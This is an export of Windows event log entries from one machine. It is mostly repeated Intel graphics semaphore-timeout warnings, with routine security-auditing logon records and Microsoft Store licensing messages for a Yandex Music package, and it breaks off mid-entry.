08:57:18.165\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:57:18.386\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:57:18.940\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:57:19.164\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:57:19.946\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:57:20.501\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:57:20.723\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:57:21.498\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:57:21.723\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:57:22.168\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:57:22.392\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:57:22.616\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:57:23.065\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:57:23.285\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:57:23.507\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:57:24.398\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:57:25.178\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:57:25.400\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:57:25.956\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:57:26.179\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:57:26.733\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:57:27.064\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:57:27.161\t4798\t\"A user's local group membership was enumerated.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\nUser:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\nProcess Information:\n\tProcess ID:\t\t0x2664\n\tProcess Name:\t\tC:\\Windows\\explorer.exe\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:57:27.163\t4798\t\"A user's local group membership was enumerated.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\nUser:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\nProcess Information:\n\tProcess ID:\t\t0x2664\n\tProcess Name:\t\tC:\\Windows\\explorer.exe\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:57:27.289\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:57:27.624\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:57:27.848\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:57:28.070\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:57:28.512\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:57:28.735\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:57:28.957\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:57:29.291\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:57:29.626\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:57:29.850\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:57:30.186\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:57:30.968\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:57:31.410\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:57:31.617\t28017\tAppResolver Scan Started.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:57:31.647\t28032\tAppResolver has parsed the visual elements manifest for a tile.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:57:31.657\t28117\tShortcut for application Word with ID Microsoft.Office.WINWORD.EXE.15 and flags 0x11 is updated in app resolver cache.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:57:31.657\t28018\tAppResolver Scan Stopped.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:57:31.659\t28019\tAppResolver Cache Committed.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:57:31.667\t3049\tEndpoint 0x0 is being cleanedup\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:57:31.855\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:57:33.859\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:57:34.191\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:57:35.192\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:57:35.416\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:57:35.859\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:57:36.526\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:57:36.856\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:57:37.416\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:57:38.194\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:57:38.527\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:57:39.975\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:57:40.197\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:57:40.418\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:57:40.641\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:57:40.975\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:57:41.293\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:57:41.517\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:57:42.851\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:57:43.518\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:57:44.296\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:57:44.633\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:57:45.304\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:57:45.751\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:57:45.972\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:57:46.197\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:57:46.418\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:57:46.862\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:57:47.085\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:57:47.530\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:57:47.755\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:57:48.090\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:57:48.762\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:57:49.208\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:57:49.427\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:57:50.452\t8001\t\"Invoking license manager because license/lease polling time up: PFN A025C540.Yandex.Music_4.54.8517.0_x64__vfvw9svesycw6\nFunction: InvokeLicenseManagerRequired\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\apisethost\\activationapis.cpp (361)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:57:50.454\t8001\t\"ServiceBeginAcquireLicenseImpl PsmKey:A025C540.Yandex.Music_4.54.8517.0_x64__vfvw9svesycw6+App, IsSystemUsage:1\nFunction: ServiceBeginAcquireLicenseImpl\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\service.cpp (2304)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:57:50.455\t8002\t\"Failure Message: hr: 0x800703f0\nFunction: \nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\service.cpp (2324)\"\tWarning\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:57:50.455\t8001\t\"Failure Message: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\service.cpp(2324)\\LicenseManager.dll!00007FFBF486A702: (caller: 00007FFBF525134D) Exception(7) tid(7a0) 800703F0 \u041f\u043e\u043f\u044b\u0442\u043a\u0430 \u0441\u0441\u044b\u043b\u043a\u0438 \u043d\u0430 \u043d\u0435\u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u044e\u0449\u0438\u0439 \u0442\u043e\u043a\u0435\u043d.\n\nFunction: \nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\service.cpp (2348)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:57:50.457\t8001\t\"ServiceBeginAcquireLicenseImpl PsmKey:A025C540.Yandex.Music_4.54.8517.0_x64__vfvw9svesycw6+App, IsSystemUsage:1\nFunction: ServiceBeginAcquireLicenseImpl\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\service.cpp (2304)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:57:50.457\t8002\t\"Failure Message: hr: 0x800703f0\nFunction: \nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\service.cpp (2324)\"\tWarning\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:57:50.457\t8001\t\"Failure Message: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\service.cpp(2324)\\LicenseManager.dll!00007FFBF486A702: (caller: 00007FFBF525134D) Exception(8) tid(7a0) 800703F0 \u041f\u043e\u043f\u044b\u0442\u043a\u0430 \u0441\u0441\u044b\u043b\u043a\u0438 \u043d\u0430 \u043d\u0435\u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u044e\u0449\u0438\u0439 \u0442\u043e\u043a\u0435\u043d.\n\nFunction: \nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\service.cpp (2348)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:57:50.458\t1207\tWNP Transport Layer resolving DNS initiated for host client.wns.windows.com for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:57:50.459\t8001\t\"ServiceBeginAcquireLicenseImpl PsmKey:A025C540.Yandex.Music_4.54.8517.0_x64__vfvw9svesycw6+App, IsSystemUsage:1\nFunction: ServiceBeginAcquireLicenseImpl\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\service.cpp (2304)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:57:50.462\t8001\t\"Skipping license manager: PFN A025C540.Yandex.Music_4.54.8517.0_x64__vfvw9svesycw6\nFunction: InvokeLicenseManagerRequired\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\apisethost\\activationapis.cpp (373)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:57:50.470\t8001\t\"Licensing package A025C540.Yandex.Music_4.54.8517.0_x64__vfvw9svesycw6 (3)\nFunction: OneStoreApplicationLicenseManager::GetLicenseForInstalledPackage\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\onestoreapplicensemanager.cpp (120)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:57:50.471\t8001\t\"Licensing 80DAF1F6-7AFC-6D23-2C3C-F1E0A663029A (Active)\nFunction: LicenseManager::LicenseContentWithId\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\manager.cpp (88)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:57:50.471\t8001\t\"0000021F831D3820: Key Machine for content: 80DAF1F6-7AFC-6D23-2C3C-F1E0A663029A\nFunction: KeyMachine::KeyMachine\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\keymachine.cpp (95)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:57:50.471\t8011\t0x21f83133e68: 13532: RootMachine: Dispatch: Root:Connect => Root:Valid\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:57:50.471\t8011\t0x21f831d3840: 13532: 80DAF1F6-7AFC-6D23-2C3C-F1E0A663029A: Dispatch: Key:Activate => Key:Initial\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:57:50.471\t8001\t\"0000021F831D3820: BeginLicense: Operation 3, CachedLeaseOK true, RequireServiceValidation false\nFunction: KeyMachine::DoBeginLicense\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\keymachine.cpp (819)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:57:50.471\t8012\t0x21f831d3840: 13532: Key:Initial Change: Key:NegotiatingUnleased => 80DAF1F6-7AFC-6D23-2C3C-F1E0A663029A\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:57:50.509\t4624\t\"An account was successfully logged on.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nLogon Information:\n\tLogon Type:\t\t5\n\tRestricted Admin Mode:\t-\n\tRemote Credential Guard:\t-\n\tVirtual Account:\t\tNo\n\tElevated Token:\t\tYes\n\nImpersonation Level:\t\tImpersonation\n\nNew Logon:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\tLinked Logon ID:\t\t0x0\n\tNetwork Account Name:\t-\n\tNetwork Account Domain:\t-\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\n\nProcess Information:\n\tProcess ID:\t\t0x68c\n\tProcess Name:\t\tC:\\Windows\\System32\\services.exe\n\nNetwork Information:\n\tWorkstation Name:\t-\n\tSource Network Address:\t-\n\tSource Port:\t\t-\n\nDetailed Authentication Information:\n\tLogon Process:\t\tAdvapi  \n\tAuthentication Package:\tNegotiate\n\tTransited Services:\t-\n\tPackage Name (NTLM only):\t-\n\tKey Length:\t\t0\n\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\n\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\n\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\n\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\n\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\n\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\n\nThe authentication information fields provide detailed information about this specific logon request.\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\n\t- Transited services indicate which intermediate services have participated in this logon request.\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:57:50.509\t505\t\"Compatibility fix applied to C:\\WINDOWS\\system32\\backgroundTaskHost.exe.\nFix information: \u042f\u043d\u0434\u0435\u043a\u0441.\u041c\u0443\u0437\u0438\u043a\u0430, {071f875e-406c-4938-beaa-65f69cc573e2}, 0x80010101.\"\tInformation\tMicrosoft-Windows-Application-Experience/Program-Telemetry\tMicrosoft-Windows-Application-Experience\n05.09.2026 08:57:50.509\t4672\t\"Special privileges assigned to new logon.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon 